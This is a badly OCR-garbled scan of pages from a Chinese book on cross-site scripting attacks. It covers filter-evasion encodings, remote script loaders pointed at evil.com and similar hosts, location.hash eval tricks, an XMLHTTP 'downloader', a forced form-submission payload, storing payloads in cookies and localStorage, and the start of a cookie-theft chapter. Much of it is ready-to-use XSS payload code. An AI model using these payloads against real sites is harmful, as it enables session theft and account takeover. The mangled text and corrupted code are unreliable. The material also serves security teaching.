| Jjavascript:alert('Xss');

BEAT T REHIRS (&#) JR133:

GFL10GEHOTEH11IBE#OTEH115aH#90&#1146#1056#112#1164H#58&#9TEH# 108&H1016# 1145641165 #40&H#3954#
BBa#B3aHBI&#30a#41aH59

5E411% XSS Expliot {1 F:
<img
Src="&#106&#975# 1186497641 1564996 #1145#1056#1125#11654#585H97a#108s#101a#1146#1165#404
#395#886#836#B36#396#414#59">

ELA_EACES CRAFAE A HTML SCRS, AR R84T FF, BIAARAS AT 5E ik, Wi 1-42 TR
33
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ST PRt BORM Bt S 2, AT AN R A B AT Ak, A5 IR 25 FAT 1) SE R BRI A AR SEIE ST . DR BERERIS T 3L
ISy WIAFAE A BT R BOR IR A 1 T BURIC I FAUR Z A, W0 5 5, BOR S BI7 AAE P . IS IERRASRE SRR N TERR .
e BRI AR R AT SR E—AB Y, TR H AR A P BOARIE NI S 3t | SR AL i Jo s & se ST L R A
B 5 M http://www.17huan.com 1% 2.5T s il oI S5 RE BEUR, PR HCR I R s

F1#E XSSV

Wiss -H'nCodn & Downloader

od by RAyHACEC
omIEEe T

10N 108N ES 1ot EReEs 16 escapeitis unescapelfsd
W 1GAW00) I 1G6ANIN00] I 160000 I 16IN0000]

G (8E07 184007 [ (8200071 [ 1#00007

aE1-41 XSSHIBTH

&)C \Documents and Settings\Administrater'\SLH\test hial v
|
o3}
\ s !
o=

B test.htal - iPSE :
IHE REE BRQ FEEW ¥bHy
<img
Sre="&R106EHO7ERT1BERDTEN T 1SENDOER T 1AM OSERT12EM 16ENSBER9 7 &A1 08
EETOTERTTMERT16ENYDERIVEHSBEHBIGNEIENIDERIEN59"D>

A 1-42 3 XSS REBHITRDE

AT LR FHERITF 2 S In by s K] &#0. &#00. &#000. &#0000. &#0;. &#HOO:.
&#000;. &#0000; HFHEX, W FHs:

<img

sre="EH#106;&H#07;6#118; 849784 115;6#99, 84114 88105;5#112;6#116;&#58;&#97,;44108;&#101;&
#114;6#116;6#40;54#39;a#B8B;aH#83;6#B3;a#39;6#41;a#59;">

<img
src="&#0106;&#097;&#0118;&#097;a#0115;&#099;&#0114;&#0105;&#0112;&#0116;&#058;&#097;&
#0108;&#0101;6#0114;&#0116;&#040;64039;5#088;&H#0B3;5#083;64039;5#041;4059;">

<1mg

sre="&#0000106&#000097&H#0000118&#000097&4#00001155#0000995#00001145#00001054&%
0000112&#0000116&6#00005B8&#000097&#0000108&#0000101&#000011464#0000116&4000040&#000039%
#00008B&#000083s#0000835#000039440000416#000059">

RACkh, th e SR ]tk il 8 1
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1.5 XSS i

<img
sro="&HxbatHxblafxToEAXO1aH#XTIE#xX03EaAxT2a#x09a#xT0a#xT4a#x3as#x0ladxbca#xbSa#xT2a#xT4
EHXZ2BEHR2Ta#xSBEHx53a#x53a#x2T7a#x2%:#x3b">

<img

Sroe="&#x6a; a#x61;e#XT6; &#x0L; &#xT3; &#X63; &#xT2;6H#x69; &#xT70; a#x74; a¥x3a; a#x61l; &#

X6C; GFRE5;&#RT2; 68xTA; 6 %28, a#x27; &H#x5B; a#x53; &#x53; a#x27; a#x29; a#x3b; ">

<img

sroe="&#x00006a&¥x000061a#x000076&#x000061a#x0000735#x000063a#x0000726#x0000694#
*x000070&#x000074&#x00003aa#x000061&#x00006c&#x000065a#x0000726#x000074&#x0000284#x000
027&#x000058&#x000053&#x000053&#x000027&#x000029&#x00003b">

535h, 75 JavaScript FH A evalOF M, %EBAT RS, FMITH P JavaScript /5,
R
<script>

eval ("alert ("¥SS")"):;
</script>

BATTAT CAE FHNERE /N A/ e, R eval QB BT+ BEHI T/ U4, W
Xt alert("XSS)BEAT 1 75tk D J5 13 3«
I \61\6c\65\72\74\28\27\58\53\53\27\29

W2, 5EHM XSS %A :

<script>

eval ("\x61\x6c\x65\xT72\x74 \x2B8\x27\x58 \x53\x53\x27\x29") ;
</script>

X B ACHSAE L SO A% > XSS XFiEHE, Wik 1-43 FrR.

Y ‘J C:'\Documents and Settings'Administrator\MHI\test hial

E test . himl - LEE

THE WEE SR EFEY EBHQ

{script>

eval( ARG IAROCAROS\KT2ARTH\R2B\ K27\ K58\ R5I\R53
\R27T\x29™);

{/script>

AE 1-43 FIH evalORITIRED

eval) o] LA$h AT 10 BB XMW A, HEAE S String.fromCharCode() i ¥ 18 I .
string.formcharcode()H 145 F 5 & ASCII &, #iltu—AE# K XSS <6 K «

| <img src="javascript:eval(alert('XSs'))">

g5 eval()f String.fromCharCode() £f % 5 il :

| <img src="javascript:eval (String.fromCharCode(97,108,101,114,116,40,39,88,83,83,39,41))">

a5
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®1% XSS UK

deah, PR SR TR SRR+ AN E B TR R R, WIS ARAE IEH R, Bl T

<style>
BODY { background: url (http://127.0.0.1/xss.gif) }
<fstyle>

A LA background [F1JR P (R EAT -1/ adk ] 777 R e AU 4k«
<style>

BODY { background:
NT5\T2N6cN2BNEBNT4NT4\T0N\3a\2EN\2E\ 3103237 \2e\30\2e\30N2e\31\2E\T78\73\73 \2e\67\ 69\ 66\
29 }

</style>

style J& P 1Y) javascript. expression 3¢ F4T — M FE P L 38, B2k 7S 3t i 445 f5 W) wT BA

I~ o A A A P 7 5 i 6 e o a3 R ) £ 7

<div
style="xss:&#101;&4#120;&#112;6#114;&#101;6#115;&#115;&#105;&#111;&%#110; (alert(l)):;"><
/div>

<img STYLE="background-image:
NT54720\6c\2B8\6aN61\TENE61N\TIN63N\T2N69\T70\74\3a\61\6c\65\T2\T4\28\27\5B8\53\53\27\29\29"
-

<DIV STYLE="background-image:\0075\0072\006C\0028\006A\0061\0076\0061,0073\0063\0072\
0069%0070\0074\003A\0061\006C\0065\0072\0074\0028\002740058\005340053\0027\0029\0029"
o

JavaScript ¥ unicode. escapes. +/N#EHl. J\UEHIFMIGER, X FhgniDHA iz 15

sty CBERERKINGE XSS M.

1 P R 8 Ath g A/ i 2 R——JScript Encode #1 VBScript Encode.
Microsoft #&fit T HIAN# (Script Encoder) HLiil, W LAXBIADEATINE, FF JScript

VBScript, £l NEHIMA, GELE IE FIEWIEAT, ALK AR,

i alert(1)fdi ] JScript Encode Il (¥ 45 3 4 «

#@~"CARAAA==C"+.D BH#mgIAAR=="#~@

£ XSS Expliot J54E 4 :

<script language="JScript.Encode">
#@~"CAAAAA==C"+.D B8#mgIAAR=="#~@
</script>
BEBARESAE TE AT HIBCR P 1-44 Biias.
[FI#E, FAiTn LAl VBScript.Encode X HATIMUMES, EH FliIB 1
<a href=# language="JScript.Encode" onclick="#@~"CAAAAAR==C"+.D B#mgIAAA=="§~@">test</a>
<iframe onlcocad=JScript.Encode: #@~*CAARAAR==C"+.D B#mgIAAA=="#~@>

<iframe onload=VBScript.Encode:#@~"CAAAAA==\Kko$K6, FOQIAARA=="#~@>
<iframe onload=VBScript&#46;Encode: #@~"CARAAA==\ko$5K6, FOQIAAA=="#~(>

HONE % XSS FS T

<div style="\000000000000000000000078%000000000000000000000073s:e&#x5c;a#xT8;pa#dT;
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15 XSS Hissli

&#42;68106;68110;68#118; 6#42;5#47;\0072\0065ssion(window.x?0: (alert (/X55/),window.x=1)
) iv></div>

B0 @70 \Documents and Settings\Administrater \SEH\Lest hinl

B test.himl - '||,‘E§$
THEE ®EEO SXo FEEY Mo
¢{script language="JScript.Encode*>

#E"CARAAA==C"+ _D BHmgIAAA=="1"R0
{/script>

AaE 1-44 {F M JScript Encode fN®E

HATE R 1-45 .

J E_'f C:\Documents end Settings‘Administrator\SE M\ test. himl

B test.html — 234

IFE ®EE #R0 FEFW ¥

<div style=""\00060000600000060000000678
\00000000000000000000007 35 e&lixSc ;&Hx78 ;p&iy7 &Ity
268106 ;&H110; 68118 ; &H42 ;&HL7 ;\ 0072\ 00655510N
(window.x?0:(alert(/XSS/),window.x=1));"></div>

A 1-45 SRADHNEES XSS LB

153 HABILE

F R Z AR RSO R A R OCE M (R REEEE2AT), BivbA TR A XSS F
FIHEEY, i N R P BT L 98 XSS K7 (<, >) XA AR B RL T,
el A0 “ 4R i AT R R A AR

i QLRI P A7 fE XSS Wi, Wi B IRAEVEE IR R 7 Ak, (B, XEEHAEBA
30 PNERFCBE, gl f<script></seript#i i 1 17 ANFHF, 8| FEA 13 NAFaTLLSCRS, W
Mk, XA~ XSS HAEHI K H — A EHE .
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SEIE A, MBS TFRART LLER B F, R Uil RIRAC 2 AR S, TS0 5 10 ik
i H PR Expliot:

<script>z='document.'</script>
<script>z=z+'write("'</script>
<script>z=z+'<script'</script>
<script>z=z+' src=ht'</script>
<script>z=z+'tp://ww'</script>
<script>z=z+'w.shell'</script>
<script>z=z+'.net/l.'</script>
<script>z=z+'js></sc'</script>
<script>z=z+'ript>")'</script>
<scriptreval (z)</script>

ERAEAERZGIAN AN TR HRZER 2, I B FATAETRSIFE:

| document.write ('<script src=//www.shell.net/l.js></script>")

I LUCK RN B2 z b, 853l eval(z) 5 Wb AT ARAS
HSE Rl L, PromMiEEsuh B LR, HEEE AT 2 B LA i B, SRS P 36y =0k o pf i
B ERIAT, X FIDE PP X i HH 1) shellcode A FH 7 A7 5 il A T2 48
A TR RF T RIZFh B ISR HE, BRAZE— AR 1.
s MG EAFAE XSS Wild, 1% XSS HIFEFRELL, FFHA A FRFH AT RE], ey
EUE IR SHEE L R 3 4 TSCT, S0 5lin R R R
178l —. <script>z='<script src=';/*
PR, */z+="http://www.test.c';/*

FREE=. */z4+="n/1.js><\/script>';/*
¥R, */document.write(z)</script>

ZREPAETS, B BUIRE PSR W T

<a href="show.asp?id=6"><script>z="'<script src=';/*</a>

<a href="show.asp?id=5">*/z+="http://www.test.c';/*</a>
<a href="show.asp?id=4">*/z+="n/1.js><\/script>';/*</a>

<a href="show.asp?id=3">*/document.write(z)</script></a>

PHHERIA R PRI ARUE, FTLARIY 2 NI TAT 2 A s 2, DL AU I 4 AR ol

<script>z='<script srec=';
z+='http://www.test.c';
z+="'n/l.js><\/script>"';
document .write(z)</script>

KRG, HKBES z Z2h, 193

<script>

z='<script src=http://www.test.cn/l.js><\/script>";
document.write(z)

</script>

T, <script></script> (K A RS £ LUBF) 34T
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1.6 Shellcode iR

BF¥, BRINMHEEE MR “Prorigihik” BARR XSS .
KA E R R R 2 B — 4 XSS Wi, i), ZRGELIE T FZ Mk XSS MBUET1T,
3% CSS HEALHMAZE, B2, T e RmN:

| div{background-image:expression()

PAT#RIE, B FHEE A XSS ki
3L XSS Expliot Wi F:

<font color="ffffff">
<div id="jmp" style="display:none">nop</div>
<div id="1y" style="display:none"> /! BT exp AT
function ok{() {return true};
window.onerror=ok
</div>
<div id="tip" title="<a style="display:none">" style="display:none"></div>
<div id="tap" title="<" style="display:none"></div>
Ei%v id="tep" title=">" style="display:none"></div> // BlE div#REHAESHREM Expliot &
<style> // Bdivi title BMF inneriTML AAKEEH Shellcode
div{background-image:expression
javascript:1?document.write (
EC_tip.title+';top:'+EC_tap.title+'/a'+
EC_tep.title+EC_tap.title+'script id=nop'+
EC tep.title+EC ly.innerHTML+EC tap.title+'/script'+
EC tep.title+EC _tap.title+
'script src=http://localhost/l.js'+
EC_tep.title+EC_tap.title+'/script'+
EC_tep.title)
11=1);
}
</style>
</font>

M AR AT LAAS 4, R A E X DIV #% (% ID A1 TITLE fft, TRaLUEH
154> XSS Shellcode [F1 /7%, AR MCHEF, B, >F 53 DIV #28%, REHIE DIV
ARSI N BRI AL A B, 2 Shellcode (FERE: DIV () ID £ MK test B T
EC test).

20 B 2% oh A A WP DL b HTML 86, 27 285 24 e B! 5 11 Shellcode:

<a style="display:none">top:</a>
<script id=nop>function ok(){return true};window.onerror=ok</script>
<script src=http://localhost/1l.js></script>

IT7 shelicode i /3

FIBLAE A 1, HIEEE L RADE AR ENR, 3 7B 4, XS xE
MAAERRER, MATADY XSS HARMAMETT, EEESFERM. FEHEAM T2 E 55 A
(11451~ 5 Th

T Kikik XSS Shellcode (1] .

fo]if§ Shellcode? X/ 44 a9 28 £ Yt BAE T (1 (¥ 9 25, Q096 P IH48 7 EWF 21K Expliot, POC
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$1¥E XSS ¥R

&, WX LS AR, A IR .

[ Shellcode ]

Frif ) Shellcode, 5] i th 75 e A g 8 A0 B0y, SEBR HRFER A — /N RIR I Brdh AT 4
K09, & XSS B4, 235 JavaScript AR S ) XSS FH LS.

[ Exploit] )

Exploit 9 R BERH, EREFIRERERFEFH, @ RRTEES FRRAFAE T
R (f2), B —Eiduhtt.

Exploit {7 5 fll Shellcode ##7, FTLAFFE il —xi: Exploit fEfEf & T Shellcode.

[roC]

B Proof of Concept 1465, J&—— Bl B 3 i 47 46 (O FE PP ARG F B .

R LS G, BAIEE B,

fEAE 58 XSS iz 11, Shellcode —f & H# S HE I P AT, AL ERRIFEEH A] fE S8 ) #
HPHPE, otk Sa8 AR e L I8, WA TR KA R EI%, Bril, B EfEE4LIE Shellcode 5
P FEAR A% L, SRS ) <script>SF AR Bexd b A, il A — S A b A7 il 0 % % SLEAT A7
fiti AU 55

£ XSS 111 ] Shellcode 5 £ Fh /7K.

1.6.1 w78 A iz#2 JavaScript
{5 www.bug.com (R HEAN UM 5T —A> XSS i, Exploit 1 F:

| http://www.bug.com/veiw.php?sort=[Expliot ]

n] Ll H 2 Shellcode 5 2| URL 248+, .

| http://www.bug.com/veiw.php?sort="><script>alert (/xss/)</script>

XEAARIE W, S EEEMEEE URL #Hh, FHMEMH =L 0mEE. it
5b, Web N HIFERF A28 b FRE BT IL 38, thaPE URL MR, BrEL, i
WL, Shellcode ] 5 3| At Al 55-2% ) SCAF L, SR )5 FF F <script-dn 3T sh &Nk .

B L), w] BURSE S e Binds n—A src J@fE, FHm AT

"><script src=http:// www. evil.com/xss.js></script><
http://www.bug.com/veiw,php?sort="><script src=http:// www..evil.com/xss.js></script><

B 1 14 <script>#5 %5 ) 25 18 ] i #2 JavaScript, i 0] LAz H 3£ T DOM [ 77 12 61 6 Rl N 35 24
HEHAEL HTML FEA R R 0T, LBl R F:
g var s=document.createElement ("script");

s.src="http://www.evil.com/xss.js";
document.getElementsByTagName ("head") [0] .appendChild (s) ;

H-ATRS A createElement()pf H G 8 — M 6 £—script.
B AT <script>1) sre JRYEWR B “http:/www.evil.com/xss.js”, xss.js B[ 54 Shellcode
65
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1.6 Shellcode #3918

5 = 4TACHS{# ] getElementsByTagName()ef 8 # $ H 1B [Pl SOy b 38— Ao (BTN 0),
R J5F ] appendChildO A ¥ I £ 25 s, BINHRE M S B 71 S ARAEE—1.

Mk, XBWAMEHRKESESBET — 4 <scriptx B, H src &7 W
http://www.evil.com/xss.js, #KJ5#5]H JavaScript FI{CHSHE A B 71 ff)<head>45 % )

1.6.2 {#H window.location.hash

In#g i FL ¥ JavaScript UL XSS Shellcode 19 AR —, EMAEZLET: @
BT IR IR S5 2 OPCBR, 40 b, FIRIE 40 _LEA% JavaScript & C1F B 5 IR S 28 L.

RN TP URL FARACRE ) 8, & n] PAMEH 55— Fh 7 X 528 Shellcode F)47 ik A1
Hl—# il window.location.hash J& 1.

location /& JavaScript B FEHUHERL( N E X R, U location.href HISKE FEGLMIK] URL, Hl
location.href=url B #J LA B 4 5L 5E (/) URL, 1 location.hash W a] LA FH e $KHY 2% 15 B 01 i (bR 25
fti. Ekln http://domain/#admin f¥] location.hash="#admin", XA EM:E AT LA R B X
[(HE S

BT 1, 0 S 45 fr location.hash ({454 M Shellcode, B ARG F:

http://www.bug.com/veiw.php?sort="><script>eval (location.hash.subst
r(l))</script>#alert('xss')

fof SRR — T LR {RAY.

substr) Al 7EFAF B start s (CXHEZ 1) HFHEMBEREH O FRF, L
location.hash.substr(1) fI1F R R “#” 755 R H 7455, B alert('xss"): 1M eval()ef #OH A it 5%
ANFFFE, HFATIOP R JavaScript {Ui5. FB4A. eval(location.hash.substr( 1)) 5h ERE L 4T Url
f{)#.2 J5 1) JavaScript 1854, Jﬁﬂﬁ’l‘ﬁrﬁs FhAESEI Shellcode 5 R HhEZ ¥ h H AT, W:

http://www.bug.com/veiw.php?sort="><script>eval (location.hash.substr (1) )</script># var
url="/index.php?mod=blog&act=dopost";var content="blog_content=By%3A%E5%AD%A4
function _sd Post (Url, Args) {var xmlhttp;var error;eval('try {xmlhttp = new
ActiveXObject ("Microsoft .XMLHTTP"); } catch (e) [(xmlhttp = null;error=e;)}');if(null !=
xmlhttp){ =xmlhttp.Open ("POST", Url, false); xmlhttp.setRequestHeader ("x-requested-
with", "XMLHttpRequest");xmlhttp.setRequestHeader ("Referer"”, "http://www.my.com/api
proxy.html") ;xmlhttp.setRequestHeader ("Accept”, "application/json, text/javascript,
*/*") ;xmlhttp.setRequestHeader ("Content-Type",
"application/x-www-form-urlencoded");xmlhttp.setRequestHeader ("Host",

"www.my.com") ;xmlhttp.Send (Args); strText = xmlhttp.responseText; }}_sd_Post (url,
content) ;

XA~ XSS Expliot i 0] LAZR ik % F 4 i 4b 23 LA i ok stk .

1.6.3 XSS Downloader

BV RS — R AR Shellcode [ 73k,  RIVKE A7 % 21 99 34 (1 B8 FE R, A0 55 4 T
(EE. CENAE. MPAESM T, RIEHENTFET k4T

fay e, JCSoai 24T 34 XSS downloader (XSS F#%2%), 464 Shellcode E 7 M i 1) 5t
AT, FAH XMLHTTP #2450 M5; %3% HTTP &K (POST 5% GET), RJ5H4TIR [A] 14 ¥idl ,
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1% XSSUE

T2 /MR POC:

function X8S(){

a=new ActiveXObject ('Microsoft . XMLHTTP'):;

a.Open('get', "http://www.bug.com/11221.html"', false);/

a.send();

b=a.responseText;

eval (unescape (b.substring(b.indexOf ("BOF|")+4,b.index0f ("' |EOF')}));
}

Xs55():

ifii http://www.bug.com/11221.html B[S A [ Shellcode ft§i%:

| Xx09abcxddxBOF|alert (/XSS/) |EOFxxx44xx1212

R — P X BARIS AIEH .

B—AT: B XSSO HL, 1%eR Hth gt 2 A Shellcode 13 B 4L

4T GIE—4 XMLHTTP X %,

=, Y447: [ http://www.bug.com/11221.html &iE—4> HTTP 5K 3KE HTTP Haj

FBHAT: KW responseText, &5 RIREIATFFFH, HHTRBMEL b H.

BT indexOf) M ¥ 5 BOF|FIEOF ({7 &, T substring() e ¥ iHUH FAF 8, &
Jii Al unescape() ef #7725 HAT

RS XMLHTTP AR — i #A T, &g os Ll g IR B, £BME 5
T LTS Ajax BERMAHXNE, KIDKKSH.

BJa, BAE—AILEM XSS FIHEH.

HEM s [ 4ER W S B URL SAMEABLE XSS, FEZH onload JFfFkK %, Expliot

LU

/i EEBREHEE URL HBAERINE
/editor/UploadFile/2006-12/2/2006122155124754.gif" onlecad="var t=document.body.
innerHTML;var s=t.indexOf ('+++’)+3;var e=t.indexOf('---');eval (unescape(t.substring

(s,e))):i">

// EESHEANRE.
+++try%20%7B%0D%0A%09vart20as%20%30%20document .getElementsByTagName%28%22a%22%29%3B%0
D%0A%09var$20frm$20%3D%20document .. getElementsByTagName%28%22i frame%22%29%5B0%5D%3B%0D
$02%09frm.onload%20%3D0%20function%28%29%20%7B%0D%0A%09%09vart200Frm¥20%3D%20document.
getElementsByTagName$28%22iframe322%29%5B0%5D%3B%0D%0A%09%09%9cFrm.onload%20%3D%20%22%2
2%3B%0D%0A%09%09var%200Doc%20%3D%200Frm. contentWindow.document%$3B%0D%0A%09%09%cDoc.all
%5B%22who%22%5D%5B1%5D.checked%20%3D%20true%3B%0D%0A%09%09%0Doc.dealmember.action%20%3
D$20%22backaction/UpdateClassMate. jspt3Ff%3D1%22%3B%0D%0A%09%0%Doc.dealmember. submit
$28%29%3B%0D30A%09%7D30DE0A%09frm. srct20%3D%20as%5B34%5D. href$3B%0D%0A%7D%20catch%20%
28e%29%20%7B%0D%0A%0% lert%28e%29%3B%0D*0A%R7D—--

XSS Uil A 5, 2B E N R 2 [ R AR, X B AR RS 5 79 B4 O
f¥) Shellcode &1 F:

try {

var as = document.getElementsByTagName ("a");

var frm = document.getElementsByTagName ("iframe") [0];
frm.onload = function() (
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1.6 Shellcode 858

var oFrm = document.getElementsByTagName ("iframe") [0]:
oFrm.onlocad = "";

var oDoc = oFrm.contentWindow.document;
oDoc.all["who"] [1] .checked = true;
oDoc.dealmember.action = "backaction/UpdateClassMate.jsp?f=1";
oDoc.dealmember.submit () ;

}

frm.src = as([34] .href;

} catch (e} |

alert(e):

}

1.6.4 FEGREEAR

BliAT XSS BOARRIAMIARRE, Bk & AN 1R L I K 5 i £ AF AR XSS Shellcode,

BN BB 7y SR XSS Shellcode {76 fE% /7 tin A Mtk th, %40 HTTP cookie. Flash JE 5344,
UserData. localStorage %% .

Hr1, Cookie %/ AR P LS R Tk, MREAN BRI A, REFEMKE

HAM, #MRHIE4KB K.

fE Cookie "1 {7fifi Shellcode [Fj POC U1 F:

function setShellCodz (codz) {

var exp=new Date();

exp.setTime (exp.getTime () +365*24*60*60*1000) ;

document .cookie="'shellcode="+escape(codz)+"';"'+'expires="'+exp.toGMTString():
}

R B 9% /L Flash JL 5% % (Shared Object, SO), Z{LLF HTTP Cookie f{iz f 7 =,

Jir ULt 4 #74E Flash Cookie.

L5338 Cookie ] 4KB FREIA ], SO FEa# I A 134 100KB, F H Al LME (R A IS & %,

R S LI EAT ] Flash 84

B T LL EPFP Cookie, 0] LI{E ] IE ) UserData f7-fi XSS Shellcode. UserData & &% 1]

A IE RGP TERER —RAFAE IR, I/DRESTHF 640KB, AR ZAbRE S HEZE IE %% LA

556, HTML 5 4246 1 PR 7 S 47 6iff 2008 €08 /73, 1198 localStorage Fl sessionStorage,

HHNEFEAAT . LA localStorage A5, A7 fifi Bodi it 7y i /& L HE45 window.localStorage #s NN %
ﬁr !lﬂ:

-

window.localStorage.a

e

window.localStorage(["a"]

ERER. S MERERE T ERE R, LR T AFE R, S R il

<script>
localStorage.a="xss";
document.write (localStorage.a);
if (localStorage.count)
{
localStorage.count=Number (localStorage.count) +1;
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E1® XSSWE

}

else

{

lecalStorage.count=1;

1

document .write ("W RXE "+ localStorage.count + " time(s).");
</secript>

ZBAUE AR a, I XSS fEfflE X, ARIEIEHI S BATEN K.

PA_Ls ) 5 52 I S FF HTML S 3128 A GER BIZ1T R, Rl Google 1 Chrome 31 %1
IATHR. F3) Chrome #% 7% LRSI HTML 0B, B RTHSER “xss ik 1
time(s)”, W 1-46 Frox, AW R B A s Lk, mE 1-47 s,

e e ;
) test html i () test html

€« C O file:///C:/Documents%20

xss VIENTHL time(s).

L C (O file:///C:/Documents%2

xss HP)EL2 time(s).

aE 1-46 FE—AiAE AE 1-47 FETRiAN)

S 4 XSS Shellcode 77-f#7E localStorage 1, #fFinF:
{#4F Shellcode:

function setShellCodz(codz) {
window.localStorage.setItem("shellcodz", codz);}

.47 Shellcode:

function getShellCodz () {
eval (window.localStorage.getItem("shellcodz"));}

14

PR TYRMAY B /7 NUPY//WWW. L /NUan.com  £R 25 ST Pt M ay AN ZH R /7 T8 4% NUPL//T.Q.ConVKUDas DIoY M )m QU: 4829993

https://www. l1nuxprobe.com




ST PTIBORMUIE S 2 2 AR AN Al P 8 AT A4, A7 WU 5 (AT 1) SE B AR R A S AT TR 20 SR RIS T 3L
ISy WIAFAE A BT R BOR IR A 1 T BURIC I FAUR Z A, W0 5 5, BOR S BI7 AAE P . IS IERRASRE SRR N TERR .
B BHIRAN A R ATHOUE AT G 8, FATTH F AR A [ A O RBARTEINSC 2 3k | SR 2] s JoAe S s ST 8 A
B Mk http://iwww.17huan.com ik 2.5T i i Jo N a US54 BEUR . FHEHCE W B R s

9452 50 XSS FH A

o

WIRTATA, XSS ¥ ubBrd £ Bk it — S IEH M WAL TR, B, RATVER. B nsCE.,
RILMBPERIE %%, AT A1 %K JavaScript BIA A A A SCA, AR5 A% i 1 A i a ek A X s
WA, Jif £k AR AT ) Web BT L, 24 FCAh P U i 2 O PR R S BAAT X M R AR

SR, FEBEAT XSS BB AR MR E, HIGRAR & SCEHIRAKE, WS XSS REAHRRT
“RENE” Bkt A, o sk — 8 F) R R A K B i A RIS RR.

IRATVLERT A T A1 XSS 2, AL H W as 3 — N> XSS XHEHE, M BEA f %k
B, XSRS UE Y] XSS WM FENE, (R8T s R XSS il Edtt. RE N,
AT XSS il HE R 4R R, AR B RASR HN H , T S0 XSS i 44k Ak 4 264 alert()
MR, sk b, XSS 50k A FLATAR G 2R A Bk, B A i 7 L TR TAE 1) ik ™ 7

XSS Briti Z i LARESS i ™ E fe 3, — 4 HI4E TIIATE 5 B S K slae S, 55— imeE
TRATE &0 o0 S A (ol SE AR I AR P BT ok A R R T . — BB S 0 3 (0 S R B A
fEfE i o SR B (a1 SIS AT, BRI DT R B ik N REARA B H 4 .

IEMETEATA, BMERAE XSS CEMEAETRFFMA R, X Bt th A2 5 R4 A 53 A
TFR AR TR, ARABE— KR!

AFRHRER WA XSS N AR, HApnTaesy RARE JavaScript KR, A #HIEH N
JavaScript B EMMIERE S . fERMIXESEN R, ME RS EAR DA iH.

A, ATERN RO Tt M LR, A3 S I AR RN A T Ath 9 35
R e Wi

121 Cookie 5B #47

BIHL 2% /1 i Cookie PEHHE XSS ki h g i W H 2z —.

Cookie #2 H1 I 55 3 $L AL 1077 (5 70 2 7 Wi (0 2cHE, A JavaScript (97T R A B S H45 BFF A fL IR
TEtE— A eii Wi ek 2 A2k . [N, T Cookie EBLA- Web REEIRM H /' & i FAURAE &G
WM LN, —H Web IR b7 RS b B A AT I, 82 Bk 5 A RKSR P AT 42
SR Cookie 5 &, AT EEELE.

R, ibFRATIM T ## Cookie 1, — 2B 81T Cookie %24 e 3L WG I B .
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Wok xssHEmREN

2.1.1 Cookie &4

TRk, Cookie A& H /™ 3 W 190 LIS D59 il A7 fifs 76 FE DL 88 i/ SRS, SCE B Ie R T
L P AR — SR A R, L 4. ID. Vi RIREEE, 4R — U )X A 9k e st
fig, P93k 2 5 U ) P ML 88 X R % M 36 9 Cookie SC#F, FEMARIEES B, LUE H] P SeBl ek
i) .

(1) Cookie fI1EH .

A LLAE B, 22 LU S 110 R S B R S, G SR 25 T s T R N R N AR A

E ey ik AASSEILI, AT LA 38 A1 Web R 4547 240 2} 2 HEAT B 40 IR SIS E BRER . dit, Cookie
FAWEET .

XA T, FTIFE S 8 TUE https:/passport.baidu.com/?loginétpl=mn, EHHEH T,
BV B E RS A B R SR R A T WU P RS & E, AT R T
FORFICRINAE, W 2-1 PR, REERNNES “CERMEFRE” ZikHE, FXHE— ID
Uy ) G P R BB R

| RAEENST
: [ EIEMEERS |

 GEARAPBEBER
HE=F '_ '
Cw e

EERAEPIRS

i 2 e & AR

(X ] siswe
AF2-1 BESFI|

HIt A WL, i2H Cookie £, fig A AN gs i 44564 1 15 A1 R i) 0 (8 1 o

(2) Cookie ff12%!,

Cookie I (Expiration) j&—/MREEFIRHE, wTEMRS MM A BEE R 1 08, 1K, 1
AN H, ] LU 4 5 30 W28 56 B R [R] i 2R 2o

H3EE Cookie FH 2tk LA B AR ORHE i, W LA & 43 A W Fp A B : F5 A B! Cookie AIKEE Y Cookie-.

FFAR Cookie PACATE A AFE7ENE AT L, il W a8 A7 HL .

i B Cookie thFR A4 Cookie, AFAELENAEH, P 24T W28 5 2 3L HIH % .

(3) Cookie [F/#1E. _

Cookie 440 8, A] LLEIE Document X %145 15 Cookie. #Z6H—/ Cookie, H ¥
o 15 20 ) F 7 HR i 4Y document.cookie B 1] :
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21 Cookie SR E#I47

| cookieName=cookieValue;expirationdate;path

IXERMNEBEE LY Cookie B, & WMt F:
Domain—i% X B Cookie MIEIS ;
Expires— @it E— P idRAR B 6 B— A1k Cookie;
HttpOnly——MB T @ % Cookie # JavaScript ¥ial;
Name—Cookie BIBFR;
Path—— B % cookie MIRER, BiIAA/;
Value—i&E Cookie HI{HE:
Secure—FTF{EE Cookie BEHIT R socket BEESLRE,
BIEE 4~ Cookie, i ZH# Yt Cookie (M4 F . XA, CHIAR R FIAH X BR 2%, LAPHPES A

Bil, ¢ setcookie()ek B AEFE S G 4 Cookie, H F i AIALHD:

<?
setcookie ('user_id',123); //E/B—4 Cookie ¥ user id=123
>

X BRI BUEE-— A Cookie ZE & user_id, ‘B H 123. 27 EMIBR Cookie, #5E Cookie
(¥ Expires W18 A ik 2 i) B AT
[ setcookie('user_id',0,time()-1); //Mk cookie TR

H1F Cookie JE4 T HTTP BRS- 2MIBLE], T LA/ S FI R 55 Y #B RE V) 9] Cookie, H 1 5)

Web 1| 8%, 76 HbhiE#2%0 A javascript:alert(document.cookie), % T [ Enter Ji &t £ 3 H 24/ ) Cookie
fad, Wk 2-2 P,

@ javazeript. alert (document. cockie): v ﬂ s »

Nicrogoft Internet Explorer

'r EBAIDUID=8FBEESEIODETAFI0SEIDOIS186A1SZ1S: PG=1. IKNISDON_EGG=1, IEVISDOM_EGGZ=1
»

; - |

aE 2-2 FTHEYH! Cookie

(4) Cookie 1% 4,
Cookie 14 H RN OGS . ] Cookie #5113 (i % 18 T —sb4z 4
=, W, MAEMmE, LN ERSSA eI,
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#2% XSSFEATEN

SR, 1T Cookie SRAFAEZ i, IXEWAF & M v fE BT IURE A, WMRBMNERAEEE
BABEHKS, YHAMRRAER R &SRR, RIFZATH Cookie, BEAESTIIRAIK S /Y
“RUBR”,

e4h, Wk Cookie {5 B & 47 K S5 0 EHUR(S B, 84 BGHHE B AE 1R 2 5 Hhifi i 5T EX Cookie
RASZEEKS, W 2-3 s,

Cookies- 1HiEes - 2\ (BEFE=A Cookie) - TA-
AE E&E=E
Adminld=lfiidminNgmgmpdnindide nPed=Sedc4E T oo faf fi el Fual 030 %de i b3l oroupid=s, 1. 2, 3. 4,

a[® 2-3 #E Cookie 51

e 2-3 P B i 58 i R A RSEI Cookie 58, ridsk 1 HL 5 1) K5 F# 6,
#FGTBORA T MDs n##, HEAGEFH MR EIR Cookie 15 B XM LR, stk ol feikG 52
WA Rk E RS SCE R .

2.1.2 Cookie 21E BRI

